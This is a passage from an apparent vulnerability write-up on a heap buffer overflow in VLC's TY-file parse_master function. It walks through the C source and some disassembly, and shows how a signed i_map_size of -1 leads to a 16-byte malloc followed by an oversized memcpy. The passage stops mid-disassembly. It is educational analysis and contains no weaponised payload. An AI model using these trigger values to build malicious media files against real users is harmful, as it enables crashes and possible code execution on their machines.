&lt;p&gt;The &lt;em&gt;parse_master&lt;/em&gt; function begins with declaring a series of variables including an array of 32 8-bit integers (&lt;em&gt;mst_buf&lt;/em&gt;) &lt;strong&gt;[1]&lt;/strong&gt; as well as two 32-bit integers (&lt;em&gt;i&lt;/em&gt; and &lt;em&gt;i_map_size&lt;/em&gt;) &lt;strong&gt;[2]&lt;/strong&gt;. Further down, there is a call to thhe &lt;em&gt;stream_Read&lt;/em&gt; function which reads 32 bytes from the input stream into &lt;em&gt;mst_buf&lt;/em&gt; &lt;strong&gt;[3]&lt;/strong&gt;. The following line &lt;strong&gt;[4]&lt;/strong&gt;, sets &lt;em&gt;i_map_size&lt;/em&gt; to the 32-bit value located at &lt;em&gt;mst_buf[20]&lt;/em&gt;. The variable &lt;em&gt;i&lt;/em&gt; is then initialized &lt;strong&gt;[6]&lt;/strong&gt; to the 32-bit value at the end of the &lt;em&gt;mst_buf&lt;/em&gt; buffer (&lt;em&gt;mst_buf[28]&lt;/em&gt;). Finally, the &lt;em&gt;i_seq_table_size&lt;/em&gt; data element in the &lt;em&gt;p_sys&lt;/em&gt; structure is set to the result of the expression &lt;em&gt;i / (8 + i_map_size)&lt;/em&gt; &lt;strong&gt;[7]&lt;/strong&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;demux_sys_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stream_Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;  &lt;span class=&quot;cm&quot;&gt;/* size of bitmask, in bytes */&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_bits_per_seq_entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;   &lt;span class=&quot;cm&quot;&gt;/* size of SEQ table, in bytes */&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After these initial variables are initialized, a &lt;em&gt;malloc&lt;/em&gt; call is made &lt;strong&gt;[8]&lt;/strong&gt; with the size argument passed as &lt;em&gt;i_seq_table_size * sizeof(ty_seq_table_t)&lt;/em&gt; (the size of the &lt;em&gt;ty_seq_table_t&lt;/em&gt; data element is 16). The resulting memory pointer is stored in &lt;em&gt;seq_table&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ty_seq_table_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Further down in the function, a &lt;em&gt;memcpy&lt;/em&gt; call is made which takes &lt;em&gt;i_map_size&lt;/em&gt; bytes from the &lt;em&gt;mst_buf&lt;/em&gt; buffer and writes to the memory location pointed to by &lt;em&gt;seq_table&lt;/em&gt; (the pointer returned from our previous &lt;em&gt;malloc&lt;/em&gt; call &lt;strong&gt;[12]&lt;/strong&gt;).&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk_bitmask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;source-code-vulnerability-analysis&quot;&gt;Source Code Vulnerability Analysis&lt;/h2&gt;

&lt;p&gt;With an understanding of the source code, let’s analyze the vulnerability… Given &lt;em&gt;i_map_size&lt;/em&gt; is a signed integer &lt;strong&gt;[1]&lt;/strong&gt;, if we set it to a negative number, say -1 (or &lt;em&gt;FFFFFFFFh&lt;/em&gt;) &lt;strong&gt;[4]&lt;/strong&gt; and set &lt;em&gt;i&lt;/em&gt; to a value of 7 &lt;strong&gt;[6]&lt;/strong&gt;, we can get an &lt;em&gt;i_seq_table_size&lt;/em&gt; equal to 1 &lt;strong&gt;[7]&lt;/strong&gt;. Keep in mind, we can set the values of &lt;em&gt;i_map_size&lt;/em&gt; and &lt;em&gt;i&lt;/em&gt; arbitrarily &lt;strong&gt;[4]&lt;/strong&gt; &lt;strong&gt;[6]&lt;/strong&gt; since these values are parsed directly out of &lt;em&gt;mst_buf&lt;/em&gt; which comes from user-supplied input. Now, when &lt;em&gt;malloc&lt;/em&gt; is called &lt;strong&gt;[8]&lt;/strong&gt; the size will be 16 (&lt;em&gt;i_seq_table_size&lt;/em&gt; which is 1 multiplied by _sizeof(ty_seq_table_t) which is 16) which will return a pointer to a memory region with &lt;strong&gt;at-least&lt;/strong&gt; 16 bytes of memory. Of note here is this is a relatively SMALL memory region (one that would be easier to overflow).&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;  &lt;span class=&quot;cm&quot;&gt;/* size of bitmask, in bytes */&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_bits_per_seq_entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;   &lt;span class=&quot;cm&quot;&gt;/* size of SEQ table, in bytes */&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* parse all the entries */&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ty_seq_table_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Within the &lt;em&gt;for&lt;/em&gt; loop declaration &lt;strong&gt;[9]&lt;/strong&gt;, we see it should execute &lt;em&gt;i_seq_table_size&lt;/em&gt; amount of times which we know is 1 (so it should only iterate once through). Unlike the stack-overflow condition seen in a &lt;a href=&quot;https://shellsharks.com/vlc-stack-overflow#title&quot;&gt;previous post&lt;/a&gt;, the &lt;em&gt;stream_Read&lt;/em&gt; call within the &lt;em&gt;for&lt;/em&gt; loop should execute with no issues (no overflow condition) as it is merely writing 7 bytes from the input stream into &lt;em&gt;mst_buf&lt;/em&gt; &lt;strong&gt;[10]&lt;/strong&gt;. In order to bypass the &lt;em&gt;if&lt;/em&gt; condition &lt;strong&gt;[11]&lt;/strong&gt; (which must be done to get to the &lt;em&gt;memcpy&lt;/em&gt; function), &lt;em&gt;i_map_size&lt;/em&gt; must be &amp;lt;= 8, which we know it &lt;strong&gt;is&lt;/strong&gt; as we had previously set it to -1 (&lt;em&gt;FFFFFFFFh&lt;/em&gt;). Finally, we get to the &lt;em&gt;memcpy&lt;/em&gt; call &lt;strong&gt;[12]&lt;/strong&gt; which writes &lt;em&gt;FFFFFFFFh&lt;/em&gt; bytes from &lt;em&gt;mst_buf&lt;/em&gt; into the memory location pointed to by &lt;em&gt;seq_table&lt;/em&gt;. Since &lt;em&gt;memcpy&lt;/em&gt; uses the &lt;em&gt;FFFFFFFFh&lt;/em&gt; size value as an &lt;strong&gt;unsigned&lt;/strong&gt; value, this is a very large amount of data it attempts to write into memory which overflows the allocated memory buffer which was only 16 when first passed to the &lt;em&gt;malloc&lt;/em&gt; function earlier. This will result in an access violation and the program crashes due to overflowing the heap buffer!&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_seq_table_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stream_Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l_timestamp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U64_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;msg_Err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Unsupported SEQ bitmap size in master chunk&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk_bitmask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk_bitmask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mst_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i_map_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;assembly-code-vulnerability-analysis&quot;&gt;Assembly Code Vulnerability Analysis&lt;/h2&gt;

&lt;p&gt;Analysis of the vulnerability continues by inspecting the disassembled code…&lt;/p&gt;

&lt;h4 id=&quot;initializing-i_map_size-variable-from-the-mst_buf-buffer&quot;&gt;Initializing &lt;em&gt;i_map_size&lt;/em&gt; variable from the &lt;em&gt;mst_buf&lt;/em&gt; buffer&lt;/h4&gt;
&lt;p&gt;After the first of the two &lt;em&gt;stream_Read&lt;/em&gt; calls (&lt;em&gt;0x61401C1F&lt;/em&gt;), the &lt;em&gt;FFFFFFFFh&lt;/em&gt; value passed in via the user inputted &lt;em&gt;.ty&lt;/em&gt; file is loaded (via instructions &lt;em&gt;0x61401C24&lt;/em&gt;-&lt;em&gt;0x61401C62&lt;/em&gt;) onto the stack and stored at offset &lt;em&gt;0x0629FB04&lt;/em&gt; (&lt;em&gt;ESP+A0&lt;/em&gt;).&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C24&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB6B424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;D400000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C2C&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB69C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;D500000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
